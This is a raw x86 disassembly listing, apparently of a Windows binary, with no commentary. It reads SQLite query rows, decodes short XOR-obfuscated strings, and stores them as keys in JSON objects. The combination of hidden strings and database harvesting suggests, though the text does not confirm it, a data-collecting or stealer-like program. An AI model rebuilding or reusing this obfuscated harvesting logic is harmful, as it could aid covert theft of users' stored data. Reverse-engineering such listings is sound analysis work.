mov dl, 1
call fcn.004b69f0
mov dword [ebp - 0x50], eax
test edi, edi
je 0x42c086
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x42c069
cmp byte [esi + 0x1e], 0
jne 0x42c04c
mov edx, esi
cmp ecx, 0xc0a
jne 0x42c064
push 0
push 7
push esi
call fcn.004a84e0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x42c070
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x42c086
push eax
call dword [0x555d10]
add esp, 4
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x128]
push 0
mov byte [ebp - 0x130], 0
call fcn.00481590
mov byte [ebp - 4], 0x25
xorps xmm0, xmm0
push 0x18
mov word [ebp - 0x68], 0x9e9e
mov byte [ebp - 0x66], 0x81
movq qword [ebp - 0x65], xmm0
mov byte [ebp - 0x5d], 0
movq qword [ebp - 0x160], xmm0
mov byte [ebp - 0x168], 3
call fcn.004f7990
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1b8], esi
mov ecx, dword [ebp - 0x28]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x26
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c100
sub ecx, edx
push ecx
push dword [ebp - 0x28]
mov ecx, esi
call fcn.00402b20
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x160], esi
mov byte [ebp - 4], 0x27
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x68], al
inc ecx
cmp ecx, 3
jb 0x42c130
mov dword [0x558540], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x65], 0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c163
sub ecx, edx
lea eax, [ebp - 0x68]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
lea ecx, [ebp - 0x130]
cmovae eax, dword [ebp - 0x40]
push eax
call fcn.00483b70
mov esi, eax
mov cl, byte [esi]
mov eax, dword [ebp - 0x15c]
mov edi, dword [ebp - 0x18]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x168], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x160], ecx
lea ecx, [ebp - 0x168]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x15c], edx
call fcn.0047d5c0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x42c211
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c207
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0xf9], 0x86998d9b
push 0x18
movq qword [ebp - 0xf5], xmm0
mov byte [ebp - 0xed], 0
movq qword [ebp - 0x170], xmm0
mov byte [ebp - 0x178], 3
call fcn.004f7990
mov esi, eax
add esp, 4
lea eax, [ebp - 0xb2]
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1b0], esi
mov ecx, dword [ebp - 0x50]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x2a
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c280
sub ecx, edx
push ecx
push dword [ebp - 0x50]
mov ecx, esi
call fcn.00402b20
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x170], esi
mov byte [ebp - 4], 0x2b
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xf9], al
inc ecx
cmp ecx, 4
jb 0x42c2b0
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xf9]
mov byte [ebp - 0xf5], 0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c2f0
sub ecx, edx
lea eax, [ebp - 0xf9]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x20
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
mov al, byte [ebp - 0x130]
cmovae ecx, dword [ebp - 0x40]
mov dword [ebp - 0x18], ecx
test al, al
jne 0x42c362
push 1
lea ecx, [ebp - 0xb0]
mov byte [ebp - 0x130], 1
call fcn.00481590
mov esi, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x128], esi
mov dword [ebp - 0x124], eax
jmp 0x42c370
cmp al, 1
jne 0x42c77d
mov esi, dword [ebp - 0x128]
mov edx, ecx
mov dword [ebp - 0x80], 0
xorps xmm0, xmm0
mov dword [ebp - 0x7c], 0
movups xmmword [ebp - 0x90], xmm0
lea eax, [edx + 1]
mov dword [ebp - 0x18], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x42c390
sub edx, dword [ebp - 0x18]
push edx
push ecx
lea ecx, [ebp - 0x90]
call fcn.00402b20
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 0x2d
push eax
mov ecx, esi
call fcn.00486cf0
mov byte [ebp - 4], 0x2c
mov esi, eax
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x42c3f6
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c3ec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
mov al, byte [esi]
mov edi, dword [ebp - 0x6c]
mov byte [esi], 3
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x178], al
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x170], ecx
lea ecx, [ebp - 0x178]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x16c], edx
call fcn.0047d5c0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x42c47d
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c473
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
add esp, 8
push dword [ebp - 0x48]
lea ecx, [ebp - 0xa0]
call fcn.0047d240
lea ecx, [ebp - 0x130]
push ecx
mov ecx, eax
call fcn.0047cf60
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x23
call fcn.0047d5c0
mov ecx, edi
call fcn.004b9b80
cmp eax, 0x64
je 0x42bf12
test edi, edi
je 0x42c530
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x42c4d2
push eax
call dword [0x555d08]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x28], 0
cmp eax, 0xbdf20da3
je 0x42c4ea
cmp eax, 0x519c2973
jne 0x42c4f4
mov ecx, edi
call fcn.004b8950
mov dword [ebp - 0x28], eax
mov ecx, edi
call fcn.004b8b60
test esi, esi
je 0x42c51f
cmp byte [esi + 0x1e], 0
jne 0x42c50e
cmp dword [ebp - 0x28], 0xc0a
jne 0x42c51f
push 0
push 7
push esi
call fcn.004a84e0
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x42c530
push eax
call dword [0x555d10]
add esp, 4
mov ecx, dword [ebp - 0x44]
call fcn.00418110
movaps xmm0, xmmword [0x544fd0]
xor ecx, ecx
movups xmmword [ebp - 0xec], xmm0
mov byte [ebp - 0xd4], 0
xorps xmm0, xmm0
movq qword [ebp - 0xdc], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xec], al
inc ecx
cmp ecx, 0x10
jb 0x42c560
mov dword [0x5585d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xec]
mov byte [ebp - 0xdc], 0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c5a0
sub ecx, edx
lea eax, [ebp - 0xec]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x40
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x31
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
mov ecx, dword [ebp - 0x120]
cmovae eax, dword [ebp - 0x40]
push eax
call fcn.00483b70
lea ecx, [ebp - 0xa0]
push ecx
mov ecx, eax
call fcn.0047cf60
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x42c626
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c61c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0xbc]
cmp ecx, 0x10
jb 0x42c664
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c65a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
add esp, 8
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
mov byte [ebp - 4], 8
call fcn.0047d5c0
mov esi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, dword [ebp - 0xb8]
jb 0x42b820
lea ecx, [ebp - 0x5c]
call fcn.00481d80
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x42c6e3
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c6d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c778
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebx + 0x20]
cmp ecx, 0x10
jb 0x42b269
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b25f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c778
jmp 0x42b25f
lea ecx, [ebp - 0xa0]
call fcn.00481860
push eax
lea ecx, [ebp - 0xec]
call fcn.00402a50
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1f4]
call fcn.004839c0
add esp, 4
mov byte [ebp - 4], 0x16
jmp 0x42c7b0
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004fceb0
call fcn.00402390
call fcn.004fceb0
lea ecx, [ebp - 0x130]
call fcn.00481860
push eax
lea ecx, [ebp - 0xec]
call fcn.00402a50
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x1f4]
call fcn.004839c0
add esp, 4
mov byte [ebp - 4], 0x2f
push eax
mov edx, 0x131
lea ecx, [ebp - 0x198]
call fcn.00408c10
add esp, 4
lea eax, [ebp - 0x198]
push 0x553aa0
push eax
call fcn.004f95fb
int3